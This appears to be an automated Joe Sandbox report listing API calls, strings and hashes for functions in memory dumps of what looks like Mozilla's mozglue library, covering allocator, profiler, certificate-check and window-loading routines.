Instruction ID: c5b8e9835a4fe351371b11bdad3dad795ce3d7ace8a4181d91be167cbc88b3b3
Opcode Fuzzy Hash: e6def4135b80b48a086b63dbb6e1b9f4e1b666178eb619df8b5f35ba9b5ce8f0
Instruction Fuzzy Hash: 7E222875A08300AFEB009FB4845865B77B9FF9634CF148529F94A97B81EB30C858CB67

Function 6C97B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C97B845
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000), ref: 6C97B852
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97B884
InitializeConditionVariable.KERNEL32(?), ref: 6C97B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C97B9FD
GetCurrentThreadId.KERNEL32 ref: 6C97BA05
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000), ref: 6C97BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C97BA27
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97BA4B
free.MOZGLUE(?), ref: 6C97C9C7
free.MOZGLUE(?), ref: 6C97C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C97C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C97C878

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 07e35d41e75bf43135e1c3ca7f2d8ee4f59dc38c15200aa956a4221680ce5829
Instruction ID: 88ecc4726cb72d6f180a03cb3205b4756fbe47b51f76063dcd41e026563024cd
Opcode Fuzzy Hash: 07e35d41e75bf43135e1c3ca7f2d8ee4f59dc38c15200aa956a4221680ce5829
Instruction Fuzzy Hash: 1BA28C75A093808FC725CF28C48079FB7E6BFD9318F144A2DE89997751DB70E9098B92

Function 6C946C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C946CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C946D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C946D26

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C946D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C946D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C946D73
free.MOZGLUE(00000000), ref: 6C946D80
CertGetNameStringW.CRYPT32 ref: 6C946DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C946DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C946DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C946DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C946E10
CryptMsgClose.CRYPT32(00000000), ref: 6C946E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C946E34
CreateFileW.KERNEL32 ref: 6C946EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C946F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C946F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C94709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C947103
free.MOZGLUE(00000000), ref: 6C947153
CloseHandle.KERNEL32(?), ref: 6C947176
__Init_thread_footer.LIBCMT ref: 6C947209
__Init_thread_footer.LIBCMT ref: 6C94723A
__Init_thread_footer.LIBCMT ref: 6C94726B
__Init_thread_footer.LIBCMT ref: 6C94729C
__Init_thread_footer.LIBCMT ref: 6C9472DC
__Init_thread_footer.LIBCMT ref: 6C94730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9473C2
VerSetConditionMask.NTDLL ref: 6C9473F3
VerSetConditionMask.NTDLL ref: 6C9473FF
VerSetConditionMask.NTDLL ref: 6C947406
VerSetConditionMask.NTDLL ref: 6C94740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C94741A
moz_xmalloc.MOZGLUE(?), ref: 6C94755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C947568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C947585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C947598
free.MOZGLUE(00000000), ref: 6C9475AC

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

Strings

wintrust.dll, xrefs: 6C9472CD
SHA256, xrefs: 6C946EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C9472C8
(, xrefs: 6C94768A

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 449b24bb5b8ad7a32dda028c4d4198f9892775de54a2708f1ecb8be614b10a23
Instruction ID: 17f79a74ca427bfa6b7939602b769f3c006a7afbbcfcafd67549d235e6d8c0b8
Opcode Fuzzy Hash: 449b24bb5b8ad7a32dda028c4d4198f9892775de54a2708f1ecb8be614b10a23
Instruction Fuzzy Hash: 6152B4B5A04218ABEB21DF64CC84BAB77BDEF55708F108199E909A7640DB70EF84CF51

Function 6C966FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C967019
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C967061
EnterCriticalSection.KERNEL32(?), ref: 6C9671A4
LeaveCriticalSection.KERNEL32(?), ref: 6C96721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C96723E
EnterCriticalSection.KERNEL32(?), ref: 6C96726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9672B2
LeaveCriticalSection.KERNEL32(?), ref: 6C96733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9673E8
LeaveCriticalSection.KERNEL32(?), ref: 6C96961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C969622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C969642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C96964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9696CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9696DB
AcquireSRWLockExclusive.KERNEL32(6C9BE804), ref: 6C969747
GetSystemInfo.KERNEL32(?), ref: 6C969792
__Init_thread_footer.LIBCMT ref: 6C9697A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9BE810,00000040), ref: 6C9697CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE7B8,00001388), ref: 6C969838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE744,00001388), ref: 6C96984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE784,00001388), ref: 6C969874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE7DC,00001388), ref: 6C969895

Strings

MALLOC_OPTIONS, xrefs: 6C9697CA
<jemalloc>, xrefs: 6C969B33, 6C969BE3
MOZ_CRASH(), xrefs: 6C969B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9699BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6C969BF4
Compile-time page size does not divide the runtime one., xrefs: 6C969B38
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9699A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C969993
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9699D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C969933, 6C969A33, 6C969A4E

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 19de96db09779d1c40737b8686b9666b1ea885ce846b84a808f9a03aa6a833f6
Instruction ID: a42b571573ff47761fc1a8c8eb5fc493540cbb073f9d55dcd90d18710bc8cfde
Opcode Fuzzy Hash: 19de96db09779d1c40737b8686b9666b1ea885ce846b84a808f9a03aa6a833f6
Instruction Fuzzy Hash: 6C538071A057018FE704CF2AC580615FBE5BF86728F29C6ADE8698BBD1D771E841CB81

Function 6C970DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C970F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C970F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C970FB7
EnterCriticalSection.KERNEL32(?), ref: 6C970FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C971031
LeaveCriticalSection.KERNEL32(?), ref: 6C9710D0
EnterCriticalSection.KERNEL32(?), ref: 6C97117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C971C39
EnterCriticalSection.KERNEL32(6C9BE744), ref: 6C973391
LeaveCriticalSection.KERNEL32(6C9BE744), ref: 6C9733CD
LeaveCriticalSection.KERNEL32(?), ref: 6C973431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C973437

Strings

MALLOC_OPTIONS, xrefs: 6C9735FE
<jemalloc>, xrefs: 6C973941, 6C9739F1
MOZ_CRASH(), xrefs: 6C973950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9737BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6C973A02
Compile-time page size does not divide the runtime one., xrefs: 6C973946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9737A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C973793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9737D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C973559, 6C97382D, 6C973848

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 12b9cf554c3363a1ab628e096b91f2d5540e6a12230ff9fd0c6eee9d0cb12df9
Instruction ID: cd048e443ed1b9c61974797cd4c2aa407e59845fcc28f15e1a294365737ba372
Opcode Fuzzy Hash: 12b9cf554c3363a1ab628e096b91f2d5540e6a12230ff9fd0c6eee9d0cb12df9
Instruction Fuzzy Hash: 9953AF71A16701CFC324CF29C590616FBE5BF86728F29C6ADE8699B791D331E801CB91

Function 6C9955F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C96E1A5), ref: 6C995606
LoadLibraryW.KERNEL32(gdi32,?,6C96E1A5), ref: 6C99560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C995633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C99563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C99566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C99567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C995696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9956B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9956CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9956E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9956FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C995716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C99572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C995748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C995761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C99577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C995793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9957A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9957BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9957D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9957EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9957FF

Strings

ReleaseDC, xrefs: 6C995742
CreateSolidBrush, xrefs: 6C9957E4
LoadCursorW, xrefs: 6C995774
DeleteObject, xrefs: 6C9957F9
SetWindowLongPtrW, xrefs: 6C9957B7
SetWindowPos, xrefs: 6C9956F7
LoadIconW, xrefs: 6C99575B
CreateWindowExW, xrefs: 6C9956C5
ShowWindow, xrefs: 6C9956DE
GetWindowDC, xrefs: 6C995710
GetMonitorInfoW, xrefs: 6C9957A2
GetThreadDpiAwarenessContext, xrefs: 6C99562D
RegisterClassW, xrefs: 6C9956AC
EnableNonClientDpiScaling, xrefs: 6C995666
gdi32, xrefs: 6C99560A
AreDpiAwarenessContextsEqual, xrefs: 6C995637
MonitorFromWindow, xrefs: 6C99578D
GetDpiForWindow, xrefs: 6C995690
FillRect, xrefs: 6C995729
GetSystemMetricsForDpi, xrefs: 6C995677
StretchDIBits, xrefs: 6C9957CC
user32, xrefs: 6C995601

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: f21a7da286ca07eac2ab81396eb8437cf928b8093786a81e69538bcb66d0fdc5
Instruction ID: cb37504565391e647c10d45bd9ae77e411f71fa09c39ec61e38a4211fb38c9b3
Opcode Fuzzy Hash: f21a7da286ca07eac2ab81396eb8437cf928b8093786a81e69538bcb66d0fdc5
Instruction Fuzzy Hash: 4C515878719702BBDB019F768E889373AFCAB4724A7344569F912E2A51EB70C800CF74

Function 6C9934A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9935BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9935E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9936CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9938BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9939EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993EE2

Part of subcall function 6C996180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9961DD
Part of subcall function 6C996180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C99622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9940F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C994157

Part of subcall function 6C996180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C996250
Part of subcall function 6C996180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C996292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C994448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C99484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C994863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C994878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C994896
free.MOZGLUE ref: 6C99489F

Strings

, xrefs: 6C994CD2

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: a0739932cd3869e0827bd6f0aed108167710dceab188122f6eacc9c15e3cb25e
Instruction ID: a80141e8c1041283da6c1b159c71dc6b8d8a6dbf8269f4b6c4ee7051b7bf5371
Opcode Fuzzy Hash: a0739932cd3869e0827bd6f0aed108167710dceab188122f6eacc9c15e3cb25e
Instruction Fuzzy Hash: 4DF25A74908B808FC721CF28C08469AFBF1FF99348F158A5ED99997711DB71E896CB42

Function 6C9464C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9464DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9464F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C946505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C946518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C94652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C94671C
GetCurrentProcess.KERNEL32 ref: 6C946724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C94672F
GetCurrentProcess.KERNEL32 ref: 6C946759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C946764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C946A80
GetSystemInfo.KERNEL32(?), ref: 6C946ABE
__Init_thread_footer.LIBCMT ref: 6C946AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C946AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C946AF7

Strings

detoured.dll, xrefs: 6C9464DA
nvd3d9wrap.dll, xrefs: 6C946500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C946798
_etoured.dll, xrefs: 6C9464ED
user32.dll, xrefs: 6C946526
nvdxgiwrap.dll, xrefs: 6C946513

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: da1d75321dd85af357e701299d6bc13b7f39202ee3a3aad9bcf3994948bdfaea
Instruction ID: 3605b48dd3e431b79443c227f5fc9814da9f328e576f23053270656c5524b57a
Opcode Fuzzy Hash: da1d75321dd85af357e701299d6bc13b7f39202ee3a3aad9bcf3994948bdfaea
Instruction Fuzzy Hash: 73F1C5B09056199FDF20CF64CC8879AB7B9AF45318F1482D9E809A7681D771EE84CF90

Function 6C9660A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C9660C9
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C96610D
EnterCriticalSection.KERNEL32(?), ref: 6C96618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9661F9

Strings

MALLOC_OPTIONS, xrefs: 6C966888
MOZ_CRASH(), xrefs: 6C966AB8
<jemalloc>, xrefs: 6C966AA9, 6C966B59
: (malloc) Unsupported character in malloc options: ', xrefs: 6C966B6A
Compile-time page size does not divide the runtime one., xrefs: 6C966AAE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C966BC7, 6C966F97, 6C966FB2

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 0dcb7e4c80caad515bdb7b438608aba8c59dbe1ce7a02372157b9df938197992
Instruction ID: 61bc6c7c9807778f72c2d2319af0aa48840d37e72d758eec18def914552a1e18
Opcode Fuzzy Hash: 0dcb7e4c80caad515bdb7b438608aba8c59dbe1ce7a02372157b9df938197992
Instruction Fuzzy Hash: ECA2AF71A097019FE704CF2AC590616BBE5FB85718F29C6ADE869DBBD1C771E840CB80

Function 6C99C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C99C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C99C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C99C9D5
